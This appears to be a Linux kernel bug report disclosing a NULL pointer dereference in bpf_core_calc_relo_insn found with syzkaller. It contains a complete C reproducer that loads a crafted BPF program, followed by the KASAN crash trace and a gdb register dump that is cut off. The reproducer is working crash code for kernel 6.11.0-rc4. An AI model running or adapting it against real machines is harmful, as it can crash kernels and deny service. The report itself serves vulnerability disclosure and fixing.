https://bugzilla.kernel.org/show_bug.cgi?id=219181#c0 Hello,I found a bug in the Linux kernel version 6.11.0-rc4 using syzkaller. The poc file is ``` //gcc poc.c -o poc --static #define _GNU_SOURCE
#include <endian.h> #include <errno.h> #include <pthread.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/syscall.h> #include <sys/types.h> #include <time.h> #include <unistd.h>
#include <linux/futex.h>
#ifndef __NR_bpf #define __NR_bpf 321 #endif
static void sleep_ms(uint64_t ms) { usleep(ms * 1000); }
static uint64_t current_time_ms(void) { struct timespec ts; if (clock_gettime(CLOCK_MONOTONIC, &ts)) exit(1); return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000; }
static void thread_start(void* (*fn)(void*), void* arg) { pthread_t th; pthread_attr_t attr; pthread_attr_init(&attr); pthread_attr_setstacksize(&attr, 128 << 10); int i = 0; for (; i < 100; i++) { if (pthread_create(&th, &attr, fn, arg) == 0) { pthread_attr_destroy(&attr); return; } if (errno == EAGAIN) { usleep(50); continue; } break; } exit(1); }
#define BITMASK(bf_off,bf_len) (((1ull << (bf_len)) - 1) << (bf_off)) #define STORE_BY_BITMASK(type,htobe,addr,val,bf_off,bf_len) *(type*)(addr) = htobe((htobe(*(type*)(addr)) & ~BITMASK((bf_off), (bf_len))) | (((type)(val) << (bf_off)) & BITMASK((bf_off), (bf_len))))
typedef struct { int state; } event_t;
static void event_init(event_t* ev) { ev->state = 0; }
static void event_reset(event_t* ev) { ev->state = 0; }
static void event_set(event_t* ev) { if (ev->state) exit(1); __atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE); syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000); }
static void event_wait(event_t* ev) { while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0); }
static int event_isset(event_t* ev) { return __atomic_load_n(&ev->state, __ATOMIC_ACQUIRE); }
static int event_timedwait(event_t* ev, uint64_t timeout) { uint64_t start = current_time_ms(); uint64_t now = start; for (;;) { uint64_t remain = timeout - (now - start); struct timespec ts; ts.tv_sec = remain / 1000; ts.tv_nsec = (remain % 1000) * 1000 * 1000; syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, &ts); if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) return 1; now = current_time_ms(); if (now - start > timeout) return 0; } }
struct thread_t { int created, call; event_t ready, done; };
static struct thread_t threads[16]; static void execute_call(int call); static int running;
static void* thr(void* arg) { struct thread_t* th = (struct thread_t*)arg; for (;;) { event_wait(&th->ready); event_reset(&th->ready); execute_call(th->call); __atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED); event_set(&th->done); } return 0; }
static void loop(void) { if (write(1, "executing program\n", sizeof("executing program\n") - 1)) { } int i, call, thread; for (call = 0; call < 3; call++) { for (thread = 0; thread < (int)(sizeof(threads) / sizeof(threads[0])); thread++) { struct thread_t* th = &threads[thread]; if (!th->created) { th->created = 1; event_init(&th->ready); event_init(&th->done); event_set(&th->done); thread_start(thr, th); } if (!event_isset(&th->done)) continue; event_reset(&th->done); th->call = call; __atomic_fetch_add(&running, 1, __ATOMIC_RELAXED); event_set(&th->ready); if (call == 1) break; event_timedwait(&th->done, 50); break; } } for (i = 0; i < 100 && __atomic_load_n(&running, __ATOMIC_RELAXED); i++) sleep_ms(1); }
uint64_t r[1] = {0xffffffffffffffff};
void execute_call(int call) { intptr_t res = 0; switch (call) { case 0: *(uint64_t*)0x20004e40 = 0x20004c80; *(uint16_t*)0x20004c80 = 0xeb9f; *(uint8_t*)0x20004c82 = 1; *(uint8_t*)0x20004c83 = 0; *(uint32_t*)0x20004c84 = 0x18; *(uint32_t*)0x20004c88 = 0; *(uint32_t*)0x20004c8c = 0xc; *(uint32_t*)0x20004c90 = 0xc; *(uint32_t*)0x20004c94 = 0xa; *(uint32_t*)0x20004c98 = 8; *(uint16_t*)0x20004c9c = 0; *(uint8_t*)0x20004c9e = 0; STORE_BY_BITMASK(uint8_t, , 0x20004c9f, 5, 0, 7); STORE_BY_BITMASK(uint8_t, , 0x20004c9f, 0, 7, 1); *(uint32_t*)0x20004ca0 = 6; *(uint8_t*)0x20004ca4 = 0; *(uint8_t*)0x20004ca5 = 0x30; *(uint8_t*)0x20004ca6 = 0; *(uint8_t*)0x20004ca7 = 0x30; *(uint8_t*)0x20004ca8 = 0x61; *(uint8_t*)0x20004ca9 = 0x1e; *(uint8_t*)0x20004caa = 0x2f; *(uint8_t*)0x20004cab = 0x30; *(uint8_t*)0x20004cac = 0x2e; *(uint8_t*)0x20004cad = 0; *(uint64_t*)0x20004e48 = 0; *(uint32_t*)0x20004e50 = 0x2e; *(uint32_t*)0x20004e54 = 0; *(uint32_t*)0x20004e58 = 1; *(uint32_t*)0x20004e5c = 0x40; res = syscall(__NR_bpf, /*cmd=*/0x12ul, /*arg=*/0x20004e40ul, /*size=*/0x20ul); if (res != -1) r[0] = res; break; case 1: *(uint32_t*)0x20000480 = 6; *(uint32_t*)0x20000484 = 0x27; *(uint64_t*)0x20000488 = 0x20000d40; *(uint8_t*)0x20000d40 = 0x18; STORE_BY_BITMASK(uint8_t, , 0x20000d41, 0, 0, 4); STORE_BY_BITMASK(uint8_t, , 0x20000d41, 0, 4, 4); *(uint16_t*)0x20000d42 = 0; *(uint32_t*)0x20000d44 = 8; *(uint8_t*)0x20000d48 = 0; *(uint8_t*)0x20000d49 = 0; *(uint16_t*)0x20000d4a = 0; *(uint32_t*)0x20000d4c = 7; *(uint8_t*)0x20000d50 = 0x18; STORE_BY_BITMASK(uint8_t, , 0x20000d51, 1, 0, 4); STORE_BY_BITMASK(uint8_t, , 0x20000d51, 1, 4, 4); *(uint16_t*)0x20000d52 = 0; *(uint32_t*)0x20000d54 = -1; *(uint8_t*)0x20000d58 = 0; *(uint8_t*)0x20000d59 = 0; *(uint16_t*)0x20000d5a = 0; *(uint32_t*)0x20000d5c = 0; STORE_BY_BITMASK(uint8_t, , 0x20000d60, 7, 0, 3); STORE_BY_BITMASK(uint8_t, , 0x20000d60, 0, 3, 1); STORE_BY_BITMASK(uint8_t, , 0x20000d60, 0xb, 4, 4); STORE_BY_BITMASK(uint8_t, , 0x20000d61, 2, 0, 4); STORE_BY_BITMASK(uint8_t, , 0x20000d61, 0, 4, 4); *(uint16_t*)0x20000d62 = 0; *(uint32_t*)0x20000d64 = 0x14; STORE_BY_BITMASK(uint8_t, , 0x20000d68, 7, 0, 3); STORE_BY_BITMASK(uint8_t, , 0x20000d68, 0, 3, 1); STORE_BY_BITMASK(uint8_t, , 0x20000d68, 0xb, 4, 4); STORE_BY_BITMASK(uint8_t, , 0x20000d69, 3, 0, 4); STORE_BY_BITMASK(uint8_t, , 0x20000d69, 0, 4, 4); *(uint16_t*)0x20000d6a = 0; *(uint32_t*)0x20000d6c = 0; *(uint8_t*)0x20000d70 = 0x85; *(uint8_t*)0x20000d71 = 0; *(uint16_t*)0x20000d72 = 0; *(uint32_t*)0x20000d74 = 0x83; STORE_BY_BITMASK(uint8_t, , 0x20000d78, 7, 0, 3); STORE_BY_BITMASK(uint8_t, , 0x20000d78, 1, 3, 1); STORE_BY_BITMASK(uint8_t, , 0x20000d78, 0xb, 4, 4); STORE_BY_BITMASK(uint8_t, , 0x20000d79, 9, 0, 4); STORE_BY_BITMASK(uint8_t, , 0x20000d79, 0, 4, 4); *(uint16_t*)0x20000d7a = 0; *(uint32_t*)0x20000d7c = 0; STORE_BY_BITMASK(uint8_t, , 0x20000d80, 5, 0, 3); STORE_BY_BITMASK(uint8_t, , 0x20000d80, 0, 3, 1); STORE_BY_BITMASK(uint8_t, , 0x20000d80, 5, 4, 4); STORE_BY_BITMASK(uint8_t, , 0x20000d81, 9, 0, 4); STORE_BY_BITMASK(uint8_t, , 0x20000d81, 0, 4, 4); *(uint16_t*)0x20000d82 = 1; *(uint32_t*)0x20000d84 = 0; *(uint8_t*)0x20000d88 = 0x95; *(uint8_t*)0x20000d89 = 0; *(uint16_t*)0x20000d8a = 0; *(uint32_t*)0x20000d8c = 0; *(uint8_t*)0x20000d90 = 0x18; STORE_BY_BITMASK(uint8_t, , 0x20000d91, 1, 0, 4); STORE_BY_BITMASK(uint8_t, , 0x20000d91, 1, 4, 4); *(uint16_t*)0x20000d92 = 0; *(uint32_t*)0x20000d94 = -1; *(uint8_t*)0x20000d98 = 0; *(uint8_t*)0x20000d99 = 0; *(uint16_t*)0x20000d9a = 0; *(uint32_t*)0x20000d9c = 0; STORE_BY_BITMASK(uint8_t, , 0x20000da0, 7, 0, 3); STORE_BY_BITMASK(uint8_t, , 0x20000da0, 0, 3, 1); STORE_BY_BITMASK(uint8_t, , 0x20000da0, 0xb, 4, 4); STORE_BY_BITMASK(uint8_t, , 0x20000da1, 2, 0, 4); STORE_BY_BITMASK(uint8_t, , 0x20000da1, 0, 4, 4); *(uint16_t*)0x20000da2 = 0; *(uint32_t*)0x20000da4 = 0; *(uint8_t*)0x20000da8 = 0x85; *(uint8_t*)0x20000da9 = 0; *(uint16_t*)0x20000daa = 0; *(uint32_t*)0x20000dac = 0x86; *(uint8_t*)0x20000db0 = 0x18; STORE_BY_BITMASK(uint8_t, , 0x20000db1, 1, 0, 4); STORE_BY_BITMASK(uint8_t, , 0x20000db1, 0, 4, 4); *(uint16_t*)0x20000db2 = 0; *(uint32_t*)0x20000db4 = 0x25702020; *(uint8_t*)0x20000db8 = 0; *(uint8_t*)0x20000db9 = 0; *(uint16_t*)0x20000dba = 0; *(uint32_t*)0x20000dbc = 0x20202000; STORE_BY_BITMASK(uint8_t, , 0x20000dc0, 3, 0, 3); STORE_BY_BITMASK(uint8_t, , 0x20000dc0, 3, 3, 2); STORE_BY_BITMASK(uint8_t, , 0x20000dc0, 3, 5, 3); STORE_BY_BITMASK(uint8_t, , 0x20000dc1, 0xa, 0, 4); STORE_BY_BITMASK(uint8_t, , 0x20000dc1, 1, 4, 4); *(uint16_t*)0x20000dc2 = 0xfff8; *(uint32_t*)0x20000dc4 = 0; STORE_BY_BITMASK(uint8_t, , 0x20000dc8, 7, 0, 3); STORE_BY_BITMASK(uint8_t, , 0x20000dc8, 1, 3, 1); STORE_BY_BITMASK(uint8_t, , 0x20000dc8, 0xb, 4, 4); STORE_BY_BITMASK(uint8_t, , 0x20000dc9, 1, 0, 4); STORE_BY_BITMASK(uint8_t, , 0x20000dc9, 0xa, 4, 4); *(uint16_t*)0x20000dca = 0; *(uint32_t*)0x20000dcc = 0; STORE_BY_BITMASK(uint8_t, , 0x20000dd0, 7, 0, 3); STORE_BY_BITMASK(uint8_t, , 0x20000dd0, 0, 3, 1); STORE_BY_BITMASK(uint8_t, , 0x20000dd0, 0, 4, 4); STORE_BY_BITMASK(uint8_t, , 0x20000dd1, 1, 0, 4); STORE_BY_BITMASK(uint8_t, , 0x20000dd1, 0, 4, 4); *(uint16_t*)0x20000dd2 = 0; *(uint32_t*)0x20000dd4 = 0xfffffff8; STORE_BY_BITMASK(uint8_t, , 0x20000dd8, 7, 0, 3); STORE_BY_BITMASK(uint8_t, , 0x20000dd8, 0, 3, 1); STORE_BY_BITMASK(uint8_t, , 0x20000dd8, 0xb, 4, 4); STORE_BY_BITMASK(uint8_t, , 0x20000dd9, 2, 0, 4); STORE_BY_BITMASK(uint8_t, , 0x20000dd9, 0, 4, 4); *(uint16_t*)0x20000dda = 0; *(uint32_t*)0x20000ddc = 8; STORE_BY_BITMASK(uint8_t, , 0x20000de0, 7, 0, 3); STORE_BY_BITMASK(uint8_t, , 0x20000de0, 0, 3, 1); STORE_BY_BITMASK(uint8_t, , 0x20000de0, 0xb, 4, 4); STORE_BY_BITMASK(uint8_t, , 0x20000de1, 3, 0, 4); STORE_BY_BITMASK(uint8_t, , 0x20000de1, 0, 4, 4); *(uint16_t*)0x20000de2 = 0; *(uint32_t*)0x20000de4 = 0xffff; *(uint8_t*)0x20000de8 = 0x85; *(uint8_t*)0x20000de9 = 0; *(uint16_t*)0x20000dea = 0; *(uint32_t*)0x20000dec = 6; *(uint8_t*)0x20000df0 = 0x18; STORE_BY_BITMASK(uint8_t, , 0x20000df1, 1, 0, 4); STORE_BY_BITMASK(uint8_t, , 0x20000df1, 0, 4, 4); *(uint16_t*)0x20000df2 = 0; *(uint32_t*)0x20000df4 = 0x256c6c64; *(uint8_t*)0x20000df8 = 0; *(uint8_t*)0x20000df9 = 0; *(uint16_t*)0x20000dfa = 0; *(uint32_t*)0x20000dfc = 0x20202000; STORE_BY_BITMASK(uint8_t, , 0x20000e00, 3, 0, 3); STORE_BY_BITMASK(uint8_t, , 0x20000e00, 3, 3, 2); STORE_BY_BITMASK(uint8_t, , 0x20000e00, 3, 5, 3); STORE_BY_BITMASK(uint8_t, , 0x20000e01, 0xa, 0, 4); STORE_BY_BITMASK(uint8_t, , 0x20000e01, 1, 4, 4); *(uint16_t*)0x20000e02 = 0xfff8; *(uint32_t*)0x20000e04 = 0; STORE_BY_BITMASK(uint8_t, , 0x20000e08, 7, 0, 3); STORE_BY_BITMASK(uint8_t, , 0x20000e08, 1, 3, 1); STORE_BY_BITMASK(uint8_t, , 0x20000e08, 0xb, 4, 4); STORE_BY_BITMASK(uint8_t, , 0x20000e09, 1, 0, 4); STORE_BY_BITMASK(uint8_t, , 0x20000e09, 0xa, 4, 4); *(uint16_t*)0x20000e0a = 0; *(uint32_t*)0x20000e0c = 0; STORE_BY_BITMASK(uint8_t, , 0x20000e10, 7, 0, 3); STORE_BY_BITMASK(uint8_t, , 0x20000e10, 0, 3, 1); STORE_BY_BITMASK(uint8_t, , 0x20000e10, 0, 4, 4); STORE_BY_BITMASK(uint8_t, , 0x20000e11, 1, 0, 4); STORE_BY_BITMASK(uint8_t, , 0x20000e11, 0, 4, 4); *(uint16_t*)0x20000e12 = 0; *(uint32_t*)0x20000e14 = 0xfffffff8; STORE_BY_BITMASK(uint8_t, , 0x20000e18, 7, 0, 3); STORE_BY_BITMASK(uint8_t, , 0x20000e18, 0, 3, 1); STORE_BY_BITMASK(uint8_t, , 0x20000e18, 0xb, 4, 4); STORE_BY_BITMASK(uint8_t, , 0x20000e19, 2, 0, 4); STORE_BY_BITMASK(uint8_t, , 0x20000e19, 0, 4, 4); *(uint16_t*)0x20000e1a = 0; *(uint32_t*)0x20000e1c = 8; STORE_BY_BITMASK(uint8_t, , 0x20000e20, 7, 0, 3); STORE_BY_BITMASK(uint8_t, , 0x20000e20, 0, 3, 1); STORE_BY_BITMASK(uint8_t, , 0x20000e20, 0xb, 4, 4); STORE_BY_BITMASK(uint8_t, , 0x20000e21, 3, 0, 4); STORE_BY_BITMASK(uint8_t, , 0x20000e21, 0, 4, 4); *(uint16_t*)0x20000e22 = 0; *(uint32_t*)0x20000e24 = 7; *(uint8_t*)0x20000e28 = 0x85; *(uint8_t*)0x20000e29 = 0; *(uint16_t*)0x20000e2a = 0; *(uint32_t*)0x20000e2c = 6; *(uint8_t*)0x20000e30 = 0x18; STORE_BY_BITMASK(uint8_t, , 0x20000e31, 8, 0, 4); STORE_BY_BITMASK(uint8_t, , 0x20000e31, 5, 4, 4); *(uint16_t*)0x20000e32 = 0; *(uint32_t*)0x20000e34 = 1; *(uint8_t*)0x20000e38 = 0; *(uint8_t*)0x20000e39 = 0; *(uint16_t*)0x20000e3a = 0; *(uint32_t*)0x20000e3c = 0; *(uint8_t*)0x20000e40 = 0x18; STORE_BY_BITMASK(uint8_t, , 0x20000e41, 6, 0, 4); STORE_BY_BITMASK(uint8_t, , 0x20000e41, 6, 4, 4); *(uint16_t*)0x20000e42 = 0; *(uint32_t*)0x20000e44 = 4; *(uint8_t*)0x20000e48 = 0; *(uint8_t*)0x20000e49 = 0; *(uint16_t*)0x20000e4a = 0; *(uint32_t*)0x20000e4c = 0xfffffffb; STORE_BY_BITMASK(uint8_t, , 0x20000e50, 7, 0, 3); STORE_BY_BITMASK(uint8_t, , 0x20000e50, 1, 3, 1); STORE_BY_BITMASK(uint8_t, , 0x20000e50, 0xb, 4, 4); STORE_BY_BITMASK(uint8_t, , 0x20000e51, 1, 0, 4); STORE_BY_BITMASK(uint8_t, , 0x20000e51, 9, 4, 4); *(uint16_t*)0x20000e52 = 0; *(uint32_t*)0x20000e54 = 0; STORE_BY_BITMASK(uint8_t, , 0x20000e58, 7, 0, 3); STORE_BY_BITMASK(uint8_t, , 0x20000e58, 0, 3, 1); STORE_BY_BITMASK(uint8_t, , 0x20000e58, 0xb, 4, 4); STORE_BY_BITMASK(uint8_t, , 0x20000e59, 2, 0, 4); STORE_BY_BITMASK(uint8_t, , 0x20000e59, 0, 4, 4); *(uint16_t*)0x20000e5a = 0; *(uint32_t*)0x20000e5c = 0; *(uint8_t*)0x20000e60 = 0x85; *(uint8_t*)0x20000e61 = 0; *(uint16_t*)0x20000e62 = 0; *(uint32_t*)0x20000e64 = 0x84; STORE_BY_BITMASK(uint8_t, , 0x20000e68, 7, 0, 3); STORE_BY_BITMASK(uint8_t, , 0x20000e68, 0, 3, 1); STORE_BY_BITMASK(uint8_t, , 0x20000e68, 0xb, 4, 4); STORE_BY_BITMASK(uint8_t, , 0x20000e69, 0, 0, 4); STORE_BY_BITMASK(uint8_t, , 0x20000e69, 0, 4, 4); *(uint16_t*)0x20000e6a = 0; *(uint32_t*)0x20000e6c = 0; *(uint8_t*)0x20000e70 = 0x95; *(uint8_t*)0x20000e71 = 0; *(uint16_t*)0x20000e72 = 0; *(uint32_t*)0x20000e74 = 0; *(uint64_t*)0x20000490 = 0x20000040; memcpy((void*)0x20000040, "GPL\000", 4); *(uint32_t*)0x20000498 = 0xb; *(uint32_t*)0x2000049c = 0xc0; *(uint64_t*)0x200004a0 = 0x20000c80; *(uint32_t*)0x200004a8 = 0x41100; *(uint32_t*)0x200004ac = 0x38; memset((void*)0x200004b0, 0, 16); *(uint32_t*)0x200004c0 = 0; *(uint32_t*)0x200004c4 = 0x25; *(uint32_t*)0x200004c8 = r[0]; *(uint32_t*)0x200004cc = 8; *(uint64_t*)0x200004d0 = 0; *(uint32_t*)0x200004d8 = 0; *(uint32_t*)0x200004dc = 0x10; *(uint64_t*)0x200004e0 = 0x200002c0; *(uint32_t*)0x200002c0 = 0; *(uint32_t*)0x200002c4 = 0; *(uint32_t*)0x200002c8 = 0; *(uint32_t*)0x200002cc = 9; *(uint32_t*)0x200004e8 = 1; *(uint32_t*)0x200004ec = 0; *(uint32_t*)0x200004f0 = 0; *(uint32_t*)0x200004f4 = 9; *(uint64_t*)0x200004f8 = 0x20000380; *(uint32_t*)0x20000380 = -1; *(uint32_t*)0x20000384 = -1; *(uint32_t*)0x20000388 = -1; *(uint64_t*)0x20000500 = 0x200003c0; *(uint32_t*)0x200003c0 = 1; *(uint32_t*)0x200003c4 = 4; *(uint32_t*)0x200003c8 = 0xb; *(uint32_t*)0x200003cc = 6; *(uint32_t*)0x200003d0 = 2; *(uint32_t*)0x200003d4 = 2; *(uint32_t*)0x200003d8 = 1; *(uint32_t*)0x200003dc = 0; *(uint32_t*)0x200003e0 = 5; *(uint32_t*)0x200003e4 = 4; *(uint32_t*)0x200003e8 = 0xe; *(uint32_t*)0x200003ec = 0xb; *(uint32_t*)0x200003f0 = 2; *(uint32_t*)0x200003f4 = 0x1000003; *(uint32_t*)0x200003f8 = 2; *(uint32_t*)0x200003fc = 3; *(uint32_t*)0x20000400 = 2; *(uint32_t*)0x20000404 = 5; *(uint32_t*)0x20000408 = 0xa; *(uint32_t*)0x2000040c = 5; *(uint32_t*)0x20000410 = 3; *(uint32_t*)0x20000414 = 1; *(uint32_t*)0x20000418 = 0xa; *(uint32_t*)0x2000041c = 3; *(uint32_t*)0x20000420 = 3; *(uint32_t*)0x20000424 = 3; *(uint32_t*)0x20000428 = 5; *(uint32_t*)0x2000042c = 8; *(uint32_t*)0x20000430 = 3; *(uint32_t*)0x20000434 = 1; *(uint32_t*)0x20000438 = 5; *(uint32_t*)0x2000043c = 5; *(uint32_t*)0x20000440 = 0; *(uint32_t*)0x20000444 = 2; *(uint32_t*)0x20000448 = 0; *(uint32_t*)0x2000044c = 7; *(uint32_t*)0x20000508 = 0x10; *(uint32_t*)0x2000050c = 0x10000; syscall(__NR_bpf, /*cmd=*/5ul, /*arg=*/0x20000480ul, /*size=*/0x90ul); break; case 2: *(uint32_t*)0x20000440 = -1; *(uint64_t*)0x20000448 = 0x200003c0; *(uint32_t*)0x200003c0 = 0; *(uint64_t*)0x20000450 = 0; *(uint64_t*)0x20000458 = 0; syscall(__NR_bpf, /*cmd=*/2ul, /*arg=*/0x20000440ul, /*size=*/0x20ul); break; }
} int main(void) { syscall(__NR_mmap, /*addr=*/0x1ffff000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/-1, /*offset=*/0ul); syscall(__NR_mmap, /*addr=*/0x20000000ul, /*len=*/0x1000000ul, /*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/7ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/-1, /*offset=*/0ul); syscall(__NR_mmap, /*addr=*/0x21000000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/-1, /*offset=*/0ul); const char* reason; (void)reason; loop(); return 0; } ``` And here is the crash information ``` [ 89.482115] Oops: general protection fault, probably for non-canonical address 0xdffffc0000000000: 0000 [#1] PREEMPT SMP KASAN PTI [ 89.482639] KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007] [ 89.482979] CPU: 1 UID: 0 PID: 214 Comm: test Not tainted 6.11.0-rc4 #1 [ 89.483276] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014 [ 89.483632] RIP: 0010:bpf_core_calc_relo_insn+0x11e/0x1e90 [ 89.483885] Code: 48 8b 85 28 fd ff ff 4c 89 ef 44 8b 70 04 44 89 f6 e8 96 a5 f8 ff 48 89 c2 49 89 c4 48 b8 00 00 00 00 00 fc ff df 48 c1 ea 03 <0f> b6 14c [ 89.484686] RSP: 0018:ffff888108f373d0 EFLAGS: 00010246 [ 89.484924] RAX: dffffc0000000000 RBX: dffffc0000000000 RCX: ffffffff816c8b8b [ 89.485247] RDX: 0000000000000000 RSI: ffffffff816c8bea RDI: 0000000000000004 [ 89.485563] RBP: ffff888108f376c0 R08: ffff888108f37778 R09: ffff88810991c000 [ 89.485880] R10: 0000000000000004 R11: ffff888103ab1c90 R12: 0000000000000000 [ 89.486197] R13: ffff888103ddfe00 R14: 0000000000000004 R15: ffff88810991c000 [ 89.486514] FS: 00007f94a2d15640(0000) GS:ffff8881f7100000(0000) knlGS:0000000000000000 [ 89.486874] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 89.487128] CR2: 0000000020000480 CR3: 0000000106058000 CR4: 00000000003006f0 [ 89.487439] Call Trace: [ 89.487553] <TASK> [ 89.487654] ? show_regs+0x93/0xa0 [ 89.487815] ? die_addr+0x50/0xd0 [ 89.487972] ? exc_general_protection+0x19f/0x320 [ 89.488185] ? asm_exc_general_protection+0x26/0x30 [ 89.488405] ? btf_type_by_id+0xeb/0x1a0 [ 89.488584] ? btf_type_by_id+0x14a/0x1a0 [ 89.488766] ? bpf_core_calc_relo_insn+0x11e/0x1e90 [ 89.488989] ? __printk_safe_exit+0x9/0x20 [ 89.489175] ? stack_depot_save_flags+0x616/0x7c0 [ 89.489392] ? bpf_prog_load+0x151c/0x2450 [ 89.489594] ? kasan_save_stack+0x34/0x50 [ 89.489792] ? kasan_save_stack+0x24/0x50 [ 89.489987] ? __pfx_bpf_core_calc_relo_insn+0x10/0x10 [ 89.490231] ? bpf_check+0x6744/0xba00 [ 89.490415] ? bpf_prog_load+0x151c/0x2450 [ 89.490612] ? __sys_bpf+0x12be/0x5290 [ 89.490795] ? __x64_sys_bpf+0x78/0xc0 [ 89.490979] ? do_syscall_64+0xa6/0x1a0 [ 89.491167] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 89.491417] ? __pfx_vsnprintf+0x10/0x10 [ 89.491611] ? sort_r+0x45/0x5f0 [ 89.491774] ? _copy_to_user+0x77/0x90 [ 89.491954] ? bpf_verifier_vlog+0x25b/0x690 [ 89.492150] ? __pfx_sort+0x10/0x10 [ 89.492314] ? verbose+0xde/0x170 [ 89.492470] ? kasan_unpoison+0x27/0x60 [ 89.492648] ? __kasan_slab_alloc+0x30/0x70 [ 89.492837] ? __kmalloc_cache_noprof+0xf0/0x270 [ 89.493050] bpf_core_apply+0x48b/0xaf0 [ 89.493228] ? btf_name_by_offset+0x13a/0x180 [ 89.493431] ? __pfx_bpf_core_apply+0x10/0x10 [ 89.493631] ? __pfx_check_btf_line+0x10/0x10 [ 89.493830] ? bpf_check_uarg_tail_zero+0x142/0x1c0 [ 89.494051] ? __pfx_bpf_check_uarg_tail_zero+0x10/0x10 [ 89.494286] bpf_check+0x6744/0xba00 [ 89.494458] ? kasan_save_stack+0x34/0x50 [ 89.494653] ? kasan_save_stack+0x24/0x50 [ 89.494848] ? kasan_save_track+0x14/0x30 [ 89.495039] ? __kasan_kmalloc+0x7f/0x90 [ 89.495232] ? __pfx_bpf_check+0x10/0x10 [ 89.495426] ? pcpu_chunk_relocate+0x145/0x1c0 [ 89.495640] ? mutex_unlock+0x7e/0xd0 [ 89.495820] ? kasan_unpoison+0x27/0x60 [ 89.496008] ? __kasan_slab_alloc+0x30/0x70 [ 89.496208] ? __kmalloc_cache_noprof+0xf0/0x270 [ 89.496430] ? kasan_save_track+0x14/0x30 [ 89.496622] ? __kasan_kmalloc+0x7f/0x90 [ 89.496810] ? selinux_bpf_prog_load+0x15b/0x1c0 [ 89.497024] bpf_prog_load+0x151c/0x2450 [ 89.497206] ? __pfx_bpf_prog_load+0x10/0x10 [ 89.497405] ? avc_has_perm+0x175/0x2f0 [ 89.497585] ? __pte_offset_map+0x12f/0x1f0 [ 89.497774] ? bpf_check_uarg_tail_zero+0x142/0x1c0 [ 89.497994] ? selinux_bpf+0xdd/0x120 [ 89.498163] ? security_bpf+0x8d/0xb0 [ 89.498333] __sys_bpf+0x12be/0x5290 [ 89.498500] ? folio_add_lru+0x58/0x80 [ 89.498675] ? __pfx___sys_bpf+0x10/0x10 [ 89.498855] ? __pfx_down_read_trylock+0x10/0x10 [ 89.499069] ? __pfx___handle_mm_fault+0x10/0x10 [ 89.499283] ? do_user_addr_fault+0x595/0x1220 [ 89.499524] __x64_sys_bpf+0x78/0xc0 [ 89.499738] ? exc_page_fault+0xae/0x180 [ 89.499928] do_syscall_64+0xa6/0x1a0 [ 89.500109] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 89.500361] RIP: 0033:0x44ceed [ 89.500512] Code: c3 e8 d7 1e 00 00 0f 1f 80 00 00 00 00 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 018 [ 89.501348] RSP: 002b:00007f94a2d15178 EFLAGS: 00000287 ORIG_RAX: 0000000000000141 [ 89.501695] RAX: ffffffffffffffda RBX: 00007f94a2d15640 RCX: 000000000044ceed [ 89.502013] RDX: 0000000000000090 RSI: 0000000020000480 RDI: 0000000000000005 [ 89.502323] RBP: 00007f94a2d151a0 R08: 0000000000000000 R09: 0000000000000000 [ 89.502635] R10: 0000000000000000 R11: 0000000000000287 R12: 00007f94a2d15640 [ 89.502949] R13: 0000000000000000 R14: 00000000004160d0 R15: 00007f94a2cf5000 [ 89.503269] </TASK> [ 89.503376] Modules linked in: [ 89.503586] ---[ end trace 0000000000000000 ]--- [ 89.503793] RIP: 0010:bpf_core_calc_relo_insn+0x11e/0x1e90 [ 89.504045] Code: 48 8b 85 28 fd ff ff 4c 89 ef 44 8b 70 04 44 89 f6 e8 96 a5 f8 ff 48 89 c2 49 89 c4 48 b8 00 00 00 00 00 fc ff df 48 c1 ea 03 <0f> b6 14c [ 89.504860] RSP: 0018:ffff888108f373d0 EFLAGS: 00010246 [ 89.505112] RAX: dffffc0000000000 RBX: dffffc0000000000 RCX: ffffffff816c8b8b [ 89.505441] RDX: 0000000000000000 RSI: ffffffff816c8bea RDI: 0000000000000004 [ 89.505768] RBP: ffff888108f376c0 R08: ffff888108f37778 R09: ffff88810991c000 [ 89.506099] R10: 0000000000000004 R11: ffff888103ab1c90 R12: 0000000000000000 [ 89.506427] R13: ffff888103ddfe00 R14: 0000000000000004 R15: ffff88810991c000 [ 89.506754] FS: 00007f94a2d15640(0000) GS:ffff8881f7100000(0000) knlGS:0000000000000000 [ 89.507129] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 89.507398] CR2: 0000000020000480 CR3: 0000000106058000 CR4: 00000000003006f0 ``` I use gdb debug it,and found that the lack of a NULL check before using local_type has led to a null pointer dereference vulnerability. ``` ───────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────────────────────────── RAX 0xdffffc0000000000 RBX 0xdffffc0000000000 RCX 0xffffffff816c8b8b (btf_type_by_id+235) ◂— 0x404be85576e53944 RDX 0x0 RDI 0x4 RSI 0xffffffff816c8bea (btf_type_by_id+330) ◂— 0xe0894c5d5be43145 R8 0xffff88811669f778 ◂— 0x0 R9 0xffff888115f48000 ◂— 0x0 R10 0x4 R11 0xffff888104562080 ◂— 0x0 R12 0x0 R13 0xffff8881135b7000 